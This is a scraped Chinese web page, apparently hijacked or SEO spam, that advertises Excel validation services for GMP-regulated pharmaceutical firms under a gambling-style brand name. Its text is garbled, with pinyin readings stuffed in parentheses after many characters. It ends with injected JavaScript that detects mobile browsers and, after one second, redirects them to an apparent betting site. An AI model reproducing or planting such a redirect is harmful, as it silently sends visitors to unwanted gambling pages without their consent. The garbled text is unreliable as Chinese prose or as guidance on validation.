酷游登路

Excel验证

对于生产设备的(de)(de)(de)管理,洁净室监控数据(ju)的(de)(de)(de)记(ji)录(lu)和图形(xing)显示,或在质量(liang)(liang)保(bao)证(zheng)中(zhong)进(jin)行统(tong)计分析:许多与(yu)质量(liang)(liang)相关的(de)(de)(de)任务都是在今天使用(yong)Excel电子表格执行的(de)(de)(de)。当活动(dong)与(yu)符合GMP要(yao)求的(de)(de)(de)产品有关时,药企(qi)使用(yong)的(de)(de)(de)电子表格需要(yao)验证(zheng),这往(wang)往(wang)是检查(cha)员和审计员的(de)(de)(de)关注(zhu)重点。所以,Excel验证(zheng)活动(dong)及相关记(ji)录(lu)文件必须可靠地满足监管要(yao)求。

 

酷游登路以专业知识(shi)和经验,为客户(hu)提供可靠(kao)的(de)Excel验证服务(wu):

  • 对所有Excel电子表格进行分类并配置适当的验证方法
  • 与客户共同开发符合要求的验证流程
  • 可以到厂进行验证的执行
  • 提供Excel验证专题的技术培训

分类和减少工作量

不(bu)是(shi)所有Excel电(dian)(dian)子表格都需要(yao)以相同的(de)(de)方式进行验(yan)(yan)证,关(guan)键性和复杂性是(shi)判断依据。酷游登路使(shi)用(yong)内部开发的(de)(de)分(fen)类系(xi)统(tong)(tong),该系(xi)统(tong)(tong)源自计算机辅(fu)助(zhu)系(xi)统(tong)(tong)验(yan)(yan)证的(de)(de)GAMP指南(nan),并将每(mei)个电(dian)(dian)子表格分(fen)配到适(shi)当(dang)的(de)(de)类别。基(ji)于风险,根据应用(yong)程序。为每(mei)个类别分(fen)配了适(shi)当(dang)的(de)(de)验(yan)(yan)证方法。

可靠执行GMP合规要求

由(you)于(yu)规则和指南通常要(yao)求计算机辅助系统具有(you)某些安全功能,因此这(zhei)些功能也必须(xu)在Excel电(dian)子表格(ge)中(zhong)实现。它们包括对不可编辑(ji)内(nei)容的(de)保护、带(dai)有(you)警告和错误消(xiao)息的(de)输入单(dan)元格(ge)的(de)验(yan)证(zheng)功能以及(ji)无法(fa)操作的(de)审计跟踪。实现这(zhei)些是使电(dian)子表格(ge)验(yan)证(zheng)在第一时间成(cheng)为可能的(de)关键(jian)。酷游登路在这(zhei)一领域(yu)经验(yan)丰富且可靠(kao),使用了成(cheng)熟的(de)函数(shu)和宏。

使用经验证的工具进行可靠的Excel验证

验(yan)(yan)(yan)证(zheng)(zheng)(zheng)本身(shen)是在(zai)由零件规(gui)范、测试(shi)和(he)(he)报告组(zu)成(cheng)的(de)(de)(de)经验(yan)(yan)(yan)证(zheng)(zheng)(zheng)和(he)(he)标(biao)准化(hua)(hua)验(yan)(yan)(yan)证(zheng)(zheng)(zheng)协议(yi)的(de)(de)(de)帮(bang)助下进(jin)行(xing)(xing)的(de)(de)(de)。所执行(xing)(xing)的(de)(de)(de)验(yan)(yan)(yan)证(zheng)(zheng)(zheng)的(de)(de)(de)所有(you)规(gui)范和(he)(he)测试(shi)点都很容易在(zai)协议(yi)中遵循,因(yin)此保(bao)证(zheng)(zheng)(zheng)了(le)一般所需的(de)(de)(de)可追溯(su)性(xing)。通过在(zai)各种项(xiang)目中的(de)(de)(de)使用,诸如用于Excel验(yan)(yan)(yan)证(zheng)(zheng)(zheng)的(de)(de)(de)SOP和(he)(he)验(yan)(yan)(yan)证(zheng)(zheng)(zheng)协议(yi)等工具不断得到优化(hua)(hua),并简化(hua)(hua)了(le)其应用程序。这将提(ti)(ti)高可靠(kao)性(xing),提(ti)(ti)供良(liang)好的(de)(de)(de)概述并确保(bao)所需的(de)(de)(de)合(he)规(gui)性(xing)。

您将获得

  • 结构化、快速确定所需的验证工作
  • 清晰的方法,便于内部和外部与当局沟通
  • 通过使用经验证的宏和标准化工具提高效率
  • 一份文件中的规范、测试和报告,布局清晰
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();